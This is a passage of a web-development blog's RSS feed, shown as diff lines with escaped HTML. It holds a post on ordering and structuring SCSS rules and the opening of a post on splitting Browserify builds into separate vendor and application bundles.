+&lt;p&gt;We hope to get the first edition out in July, but we need your help to make that happen. Writing and editing the book is going to be a massive undertaking and you can help support our effort. &lt;a href="https://www.kickstarter.com/projects/1704706557/high-performance-django"&gt;Give us your vote of confidence by backing the project today&lt;/a&gt;!&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 11:51:13 -0500</pubDate><guid>http://lincolnloop.com/blog/high-performance-django-kickstarter-project/</guid></item><item><title>A Look at CSS Rule Organization</title><link>http://lincolnloop.com/blog/look-css-rule-organization/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;CSS preprocessors have given us a handful of tools to re-architect our front-end code. We can keep things DRY with includes and extends or perhaps use nesting for code organization. All of these features allow a CSS rule to grow in complexity, but few people ever talk about managing that problem.&lt;/p&gt;
+
+&lt;p&gt;Let&amp;#39;s take a look at a modern CSS rule. We&amp;#39;ll talk about how they&amp;#39;re structured and why we do what we do. Perhaps this will help you organize your own CSS!&lt;/p&gt;
+
+&lt;p&gt;Here&amp;#39;s a very standard box. It is one of many box styles in our pretend design. It&amp;#39;s sole purpose is to feature and highlight content and it can live almost anywhere in our UI.&lt;/p&gt;
+
+&lt;p&gt;(Note, we use SCSS primarily so all our demo code will as well.)&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="nc"&gt;.featured-box&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="k"&gt;@extend&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nt"&gt;center-box&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;Placeholder&lt;/span&gt; &lt;span class="nt"&gt;selectors&lt;/span&gt; &lt;span class="nt"&gt;first&lt;/span&gt;
+ &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nt"&gt;extend&lt;/span&gt; &lt;span class="nc"&gt;.info-box&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;Modifier&lt;/span&gt; &lt;span class="nt"&gt;classes&lt;/span&gt; &lt;span class="nt"&gt;second&lt;/span&gt;
+
+ &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;All&lt;/span&gt; &lt;span class="nt"&gt;of&lt;/span&gt; &lt;span class="nt"&gt;the&lt;/span&gt; &lt;span class="nt"&gt;regular&lt;/span&gt; &lt;span class="nt"&gt;properties&lt;/span&gt;&lt;span class="nc"&gt;.&lt;/span&gt;
+ &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;Remember&lt;/span&gt; &lt;span class="nt"&gt;your&lt;/span&gt; &lt;span class="nt"&gt;grouping&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
+ &lt;span class="nt"&gt;width&lt;/span&gt;&lt;span class="nd"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;90&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
+ &lt;span class="nt"&gt;height&lt;/span&gt;&lt;span class="nd"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;100px&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
+
+ &lt;span class="nt"&gt;background&lt;/span&gt;&lt;span class="nd"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;blue&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
+
+ &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nt"&gt;include&lt;/span&gt; &lt;span class="nt"&gt;fadeIn&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="nc"&gt;.5s&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
+
+ &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;Sub-selectors&lt;/span&gt; &lt;span class="nt"&gt;specific&lt;/span&gt; &lt;span class="nt"&gt;to&lt;/span&gt; &lt;span class="nt"&gt;this&lt;/span&gt; &lt;span class="nt"&gt;selector&lt;/span&gt;
+ &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;Compiles&lt;/span&gt; &lt;span class="nt"&gt;to&lt;/span&gt; &lt;span class="nc"&gt;.featured-box&lt;/span&gt; &lt;span class="nc"&gt;.title&lt;/span&gt;
+ &lt;span class="k"&gt;&amp;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;.title&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;font-weight&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="no"&gt;bold&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Handle state. e.g. active, inactive, selected, etc.&lt;/span&gt;
+ &lt;span class="c1"&gt;// Compiles to .featured-box.is-active&lt;/span&gt;
+ &lt;span class="k"&gt;&amp;&lt;/span&gt;&lt;span class="nc"&gt;.is-active&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;border&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="kt"&gt;px&lt;/span&gt; &lt;span class="no"&gt;solid&lt;/span&gt; &lt;span class="no"&gt;dotted&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Any actions. Mostly standard interactivity&lt;/span&gt;
+ &lt;span class="c1"&gt;// Compiles to .featured-box:hover&lt;/span&gt;
+ &lt;span class="k"&gt;&amp;&lt;/span&gt;&lt;span class="nd"&gt;:hover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;background&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;green&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Context specific styles&lt;/span&gt;
+ &lt;span class="c1"&gt;// Compiles to .sidebar .featured-box&lt;/span&gt;
+ &lt;span class="nc"&gt;.sidebar&lt;/span&gt; &lt;span class="k"&gt;&amp;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="kt"&gt;%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="no"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="na"&gt;background&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="ni"&gt;whitesmoke&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Lastly, media queries!&lt;/span&gt;
+ &lt;span class="k"&gt;@media&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;min-width&lt;/span&gt;&lt;span class="nd"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;600px&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="kt"&gt;%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="na"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="no"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;It helps to think that rules tell a story. Our rule has a name. It has &amp;quot;parents&amp;quot; via @extend. It has a few properties and when you interact with it, it will do something (change its background color to green). When put in different situations via media queries or in &lt;code data-syntax="text-only"&gt;.sidebar&lt;/code&gt;, it will change its appearance.&lt;/p&gt;
+
+&lt;p&gt;Let&amp;#39;s step through some of the best practices we use to build &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt;.&lt;/p&gt;
+
+&lt;h2&gt;Extends First&lt;/h2&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="nc"&gt;.featured-box&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="k"&gt;@extend&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nt"&gt;center-box&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;Placeholder&lt;/span&gt; &lt;span class="nt"&gt;selectors&lt;/span&gt; &lt;span class="nt"&gt;first&lt;/span&gt;
+ &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nt"&gt;extend&lt;/span&gt; &lt;span class="nc"&gt;.info-box&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nt"&gt;Modifier&lt;/span&gt; &lt;span class="nt"&gt;classes&lt;/span&gt; &lt;span class="nt"&gt;second&lt;/span&gt;
+ &lt;span class="nc"&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Similar to includes, imports, or inheritance in other languages, we handle dependencies &lt;em&gt;first&lt;/em&gt; by putting every @extend at the top. This cuts down on debug time later as we always know where to look for dependency problems.&lt;/p&gt;
+
+&lt;p&gt;&lt;code data-syntax="text-only"&gt;%center-box&lt;/code&gt; is a &lt;a href="http://sass-lang.com/documentation/file.SASS_REFERENCE.html#placeholder_selectors_"&gt;placeholder selector&lt;/a&gt;, which means its name does not get compiled in our output CSS. Instead, its properties appear wherever we call them.&lt;/p&gt;
+
+&lt;p&gt;If you want to learn more about placeholder selectors, there are several &lt;a href="http://www.sitepoint.com/sass-mixin-placeholder/"&gt;good articles&lt;/a&gt; &lt;a href="http://css-tricks.com/the-extend-concept/"&gt;on the topic&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;@extend can be a tricky feature, as it can tinker with the ordering of our output CSS. All the more reason to put them early in our rule. Every bit of organization helps!&lt;/p&gt;
+
+&lt;p&gt;Utility or modifier classes like &lt;code data-syntax="text-only"&gt;.info-box&lt;/code&gt; come next for similar reasons. I&amp;#39;ll talk more about these in a moment.&lt;/p&gt;
+
+&lt;p&gt;Another advantage to putting external dependencies first is that it clarifies what the final output will be for a rule, as anything in a dependency would be overridden.&lt;/p&gt;
+
+&lt;h2&gt;Modifier Classes&lt;/h2&gt;
+
+&lt;p&gt;It&amp;#39;s not uncommon to have a base class with a few other classes that change the meaning of an element. You&amp;#39;ll see this a lot with buttons or boxes, especially in frameworks:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="html"&gt;&lt;span class="nt"&gt;&amp;lt;section&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;box partner-content hidden-phone featured-box no-borders&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/section&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;In this example, &lt;code data-syntax="text-only"&gt;.box&lt;/code&gt; is a base class that gives us some starting structure. We then inherit other styles through a series of modifier classes in an effort to nudge our box into place. This gets messy over time as we end up using a growing number of modifier classes to define what is essentially an unique element. This is where extends help again:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="nc"&gt;.featured-partner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="k"&gt;@extend&lt;/span&gt; &lt;span class="nc"&gt;.partner-content&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
+ &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nt"&gt;extend&lt;/span&gt; &lt;span class="nc"&gt;.featured-box&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
+ &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nt"&gt;extend&lt;/span&gt; &lt;span class="nc"&gt;.no-borders&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
+ &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nt"&gt;extend&lt;/span&gt; &lt;span class="nc"&gt;.hidden-phone&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;We can then use this to new rule to write a more semantic class attribute:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="html"&gt;&lt;span class="nt"&gt;&amp;lt;section&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;**box featured-partner**&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/section&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;To get this effect without a CSS pre-processor we&amp;#39;d have to write really long rules. This quickly becomes difficult to manage:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="css"&gt;&lt;span class="nc"&gt;.featured-box&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
+&lt;span class="nc"&gt;.info-box&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
+&lt;span class="nc"&gt;.help-box&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
+&lt;span class="nc"&gt;.notification-box&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
+&lt;span class="nc"&gt;.user-info-box&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="k"&gt;padding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="k"&gt;font-size&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;It&amp;#39;s important to note that using extends or includes creates a dependency, so be careful! Also, as a rule of thumb, you should try to stick to one base class, one modifier, and one state:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;section&lt;/span&gt; &lt;span class="nt"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;**box featured-box is-selected**&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;section&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;That&amp;#39;s much cleaner!&lt;/p&gt;
+
+&lt;h2&gt;Basic Properties&lt;/h2&gt;
+
+&lt;p&gt;Everyone seems to have a preferred order for properties. Some prefer alphabetical. Those who prefer grouping can almost never decide on the correct order. For example, I&amp;#39;m a huge fan of defining components starting with the outside first, then working inward: &lt;/p&gt;
+
+&lt;ol&gt;
+&lt;li&gt;Where is the box? (position, z-index, margins/padding)&lt;/li&gt;
+&lt;li&gt;What kind of a box is it? (display, box-sizing)&lt;/li&gt;
+&lt;li&gt;How big is the box? (width, height)&lt;/li&gt;
+&lt;li&gt;Box shadows, borders, etc&lt;/li&gt;
+&lt;li&gt;Backgrounds&lt;/li&gt;
+&lt;li&gt;Typography&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;p&gt;Intelligent grouping of properties will do a lot to ensure your CSS is accessible to other developers. Another common standard is &amp;quot;one rule per line.&amp;quot; As always, the most important guideline is &lt;strong&gt;be consistent&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;h2&gt;Mixins&lt;/h2&gt;
+
+&lt;p&gt;Here&amp;#39;s where things get a little weird! You&amp;#39;ll notice that we include a mixin in our rule:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="k"&gt;@include&lt;/span&gt;&lt;span class="nd"&gt; fadeIn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="mf"&gt;.5&lt;/span&gt;&lt;span class="kt"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Technically, &lt;code data-syntax="text-only"&gt;fadeIn()&lt;/code&gt; is a dependency. So why isn&amp;#39;t it at the top? Mixins perform operations and inject the resulting CSS into the rule. This means that they are often dependent upon property ordering defined within the same rule. Grouping them near related properties helps make sense of output CSS. In simpler cases, I recommend putting mixins right after basic properties but before sub-selectors, which we&amp;#39;ll discuss next.&lt;/p&gt;
+
+&lt;h2&gt;Sub-Selectors (or &amp;quot;Think of the Children&amp;quot;)&lt;/h2&gt;
+
+&lt;p&gt;The next section of &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; deals with specific styles for its children. In our example above we&amp;#39;re targeting the &lt;code data-syntax="text-only"&gt;.title&lt;/code&gt; class specifically:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="c1"&gt;// Sub-selectors specific to this selector&lt;/span&gt;
+&lt;span class="c1"&gt;// Compiles to .featured-box .title&lt;/span&gt;
+&lt;span class="k"&gt;&amp;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;.title&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;font-weight&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="no"&gt;bold&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Notice that I didn&amp;#39;t use a H3 or any other headline for that matter. Doing so restricts &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; to a specific HTML structure, which may not always be best for accessibility or accurate with regard to the hierarchy of content. For example, &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; could be used in a sidebar with a H4, or at the top of the page with a big H2.&lt;/p&gt;
+
+&lt;p&gt;Complex objects could call for dozens of sub-selectors. When this happens, consider putting common styles in a base rule, and meatier objects (that may exist on their own) into their own rules. Expanding on our original example, let&amp;#39;s pretend we have a stylized list within &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt;.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="nc"&gt;.featured-box&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="c1"&gt;// Lots of styles for &lt;/span&gt;
+ &lt;span class="nc"&gt;.tab-list&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="c1"&gt;// 50 lines of styles for tabs!&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;This is less ideal than:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="nc"&gt;.featured-box&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="c1"&gt;// Everything in our original example&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;
+
+&lt;span class="nc"&gt;.featured-box&lt;/span&gt; &lt;span class="nc"&gt;.tab-list&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="c1"&gt;// 50 lines of styles for tabs!&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;In this way we aren&amp;#39;t losing the &lt;em&gt;special case&lt;/em&gt; that is a &lt;code data-syntax="text-only"&gt;.tab-list&lt;/code&gt; inside of a &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; amongst all the other styles.&lt;/p&gt;
+
+&lt;h2&gt;State and Actions&lt;/h2&gt;
+
+&lt;p&gt;CSS gives us a few actions to work with specific to our selected element. Most elements have :focus or :hover. Anchors have :visited and radio buttons have :checked. Often we shim these with classes or data attributes for use in richer interfaces:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="html"&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;submit&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;btn **is-sending**&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Sending...&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Actions and state are usually dependent upon basic properties, but are often overridden depending on context. For example, the animation we may associate with &lt;code data-syntax="text-only"&gt;.is-sending&lt;/code&gt; may be different on desktop than on mobile, or we may have to override a color on hover of an anchor&amp;#39;s default :link state.&lt;/p&gt;
+
+&lt;p&gt;As a side note, notice that I am using &lt;code data-syntax="text-only"&gt;.is-sending&lt;/code&gt; instead of &lt;code data-syntax="text-only"&gt;.sending&lt;/code&gt;. I always append &lt;code data-syntax="text-only"&gt;.is-&lt;/code&gt; to state classes to more clearly convey what they are.&lt;/p&gt;
+
+&lt;h2&gt;Context Specific Styles&lt;/h2&gt;
+
+&lt;p&gt;Context related styles always come last because they often have radical changes to appearance and layout. This fits well with a mobile first strategy, as you can clearly denote the &lt;em&gt;evolution&lt;/em&gt; of a rule as you gain screen space.&lt;/p&gt;
+
+&lt;p&gt;In our example above, we&amp;#39;re noting two different context changes:&lt;/p&gt;
+
+&lt;ol&gt;
+&lt;li&gt;When &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; is in &lt;code data-syntax="text-only"&gt;.sidebar&lt;/code&gt;.&lt;/li&gt;
+&lt;li&gt;When &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; is on a larger display.&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="scss"&gt;&lt;span class="c1"&gt;// Context specific styles&lt;/span&gt;
+&lt;span class="c1"&gt;// Compiles to .sidebar .featured-box&lt;/span&gt;
+&lt;span class="nc"&gt;.sidebar&lt;/span&gt; &lt;span class="k"&gt;&amp;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="kt"&gt;%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="no"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="na"&gt;background&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="ni"&gt;whitesmoke&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;
+
+&lt;span class="c1"&gt;// Lastly, media queries!&lt;/span&gt;
+&lt;span class="k"&gt;@media&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;min-width&lt;/span&gt;&lt;span class="nd"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;600px&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="kt"&gt;%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="na"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="no"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;In this scenario, we want &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; to be full width and have a subtle appearance when in &lt;code data-syntax="text-only"&gt;.sidebar&lt;/code&gt;. On larger screens, we want it to be 50% of the available width and ensure that no matter what it is center aligned regardless of other styles. The ordering doesn&amp;#39;t matter here due to the specificity of the two changes. &lt;code data-syntax="text-only"&gt;.sidebar &amp;&lt;/code&gt; will trump the media query change.&lt;/p&gt;
+
+&lt;p&gt;However, we put media queries last in rules because they most often deal with layout related changes, and putting those sort of changes in a predictable place in the same way we handled extends helps with debugging.&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://filamentgroup.com/lab/element_query_workarounds/"&gt;Per element media queries&lt;/a&gt; could alleviate some of the pain here, but at the time of this writing we do not have a clean CSS-only solution. Though &lt;a href="https://github.com/Snugug/eq.js"&gt;many people&lt;/a&gt; have put together &lt;a href="http://www.smashingmagazine.com/2013/06/25/media-queries-are-not-the-answer-element-query-polyfill/"&gt;workable solutions&lt;/a&gt;. Things can get out of hand when you have to consider an element&amp;#39;s appearance not only across browsers and devices, but location in the UI and relation to other elements. &lt;/p&gt;
+
+&lt;h2&gt;That&amp;#39;s It!&lt;/h2&gt;
+
+&lt;p&gt;This just scratches the surface of what it takes to write clean, maintainable CSS architecture. In the wild, our &lt;code data-syntax="text-only"&gt;.featured-box&lt;/code&gt; rule would likely be more complicated, with more dependencies, basic properties, and context changes. What best practices does your team follow to help keep complexity at bay?&lt;/p&gt;
+</description><pubDate>Thu, 08 May 2014 12:11:41 -0500</pubDate><guid>http://lincolnloop.com/blog/look-css-rule-organization/</guid></item><item><title>Speedy Browserifying with Multiple Bundles</title><link>http://lincolnloop.com/blog/speedy-browserifying-multiple-bundles/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;Last month I talked about one of my favorite tools for JavaScript on the front end, &lt;a href="http://lincolnloop.com/blog/untangle-your-javascript-browserify/"&gt;Browserify&lt;/a&gt;, which allows you to create modular code for the browser using CommonJS modules and npm. It does this by combining the dependencies into an all-in-one bundle. In development, typically you will watch your JavaScript files for changes and then recompile the bundle.&lt;/p&gt;
+
+&lt;p&gt;If you&amp;#39;re including some large dependencies in your bundle, though, you may have noticed that it can take several seconds to regenerate that bundle each time you edit a module. This usually isn&amp;#39;t a big problem, but when you want to rapidly hack on a UI feature and frequently refresh to see your changes this several second display can end up seriously slowing you down.&lt;/p&gt;
+
+&lt;p&gt;One of the most effective things you can do to speed up this process is build multiple bundles - one for your application code and one for your dependencies. When your application code changes you only have to recompile that bundle, not all of your dependencies.&lt;/p&gt;
+
+&lt;h2&gt;On the command line&lt;/h2&gt;
+
+&lt;p&gt;If you&amp;#39;re using the command line interface, creating an additional bundle is as easy as invoking &lt;em&gt;browserify&lt;/em&gt; with the &lt;em&gt;--require&lt;/em&gt; option. You don&amp;#39;t have to point it at a source file, you can simply pass &lt;em&gt;-r my-module&lt;/em&gt; for each module you want to include in the bundle. This will pull the requirement into the bundle and make that requirement available from outside the bundle with &lt;code data-syntax="text-only"&gt;require(&amp;#39;my-module&amp;#39;)&lt;/code&gt;.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;$ browserify -r react -r q -r loglevel &amp;gt; build/vendor.js&lt;/code&gt;&lt;/pre&gt;
+
